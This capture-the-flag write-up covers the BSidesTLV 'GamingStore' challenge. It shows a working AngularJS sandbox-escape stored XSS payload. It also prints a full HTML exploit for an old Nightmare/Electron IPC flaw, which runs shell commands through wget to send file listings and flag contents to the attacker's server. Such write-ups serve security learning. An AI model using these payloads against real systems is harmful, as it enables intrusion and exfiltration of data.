GamingStore
By Yaakov Cohen and Narcissus
The link leads us to a video game store site:
We logged in with the credentials in the challenge info and looked around. We noticed that in the products pages we could edit the games description:
We wanted to see if we could use some sort of xss and after looking around a bit we found out that the site uses AngularJS. We also found a nice article describing how to escape the expression sandbox. As you can see in the above picture the description is 2
, but we actually put {{1+1}}
. So we know that we can take advantage of stored xss. Now let's see if we can get the bot to go to our site. We changed the description and put the following code:
{{constructor.constructor("document.location='http://my_ip:8080/'")()}}
Watching the server logs we got a request from the bot after about half a minute, great he clicks out links. Now we need to find a way to get information from him.
We gathered some information on the bot. For example his user agent:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Nightmare/2.10.0 Safari/537.36
The browser he uses is Nightmare/2.10.0
, that's a pretty old version. With that information we searched to see if we could find some vulnerabilities and we did! Lucky us.
We created a page on our server using the code from the github we linked to and tried to get the bot to go to the new page.
The code tries to take advantage of a known vulnerability and to get the target to connect to a server using netcat. We set our server up to listen to the port we configured and waited. The bot did go to our new page, but nothing came over our netcat server so we had to try something else.
Instead of using netcat we found out you can use wget and encode the data we want to send in base64 and append it to the url. Just to see if it works we tried using the ls
command:
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>nightmarejs</title>
</head>
<body>
<script>
"use strict";
function exec() {
try {
var sendSync = __nightmare.ipc.sendSync;
if (typeof sendSync !== "function") {
return;
}
} catch (e) {
return;
}
/*
* ELECTRON_BROWSER_REQUIRE returns metadata for
* module.exports, and the actual object is stored in
* the objectsRegistry (see valueToMeta())
*/
var proc = sendSync("ELECTRON_BROWSER_REQUIRE", "child_process");
/*
* ELECTRON_BROWSER_MEMBER_CALL retrieves a module object from
* the objectsRegistry and calls the specified method with an
* array of arguments processed by unwrapArgs()
*/
var args = [{
type: "value",
value: "wget http://my_ip:8080/?data=$(ls | base64 -w 0)"
}];
sendSync("ELECTRON_BROWSER_MEMBER_CALL", proc.id, "exec", args);
}
exec();
</script>
</body>
</html>
Then half a minute later looking at our server we got a request with a long base64 encoded string, we decoded it and got:
bot.js
index.py
node_modules
package-lock.json
package.json
Good it works, now to send my new favourite command. We changed value
in the previous code to: "wget http://my_ip:8080/?data=$(/bin/cat $(find / -name flag.txt) | base64 -w 0)"
and again after a few seconds we got a request with QlNpZGVzVExWe0FuZ3VsYXJqU19pc19GcmVkZHlfS3J1ZWdlcn0KQlNpZGVzVExWe0FuZ3VsYXJqU19pc19GcmVkZHlfS3J1ZWdlcn0K
which decodes to: BSidesTLV{AngularjS_is_Freddy_Krueger}
. (Well actually it decodes to the flag twice, but we only need one copy.)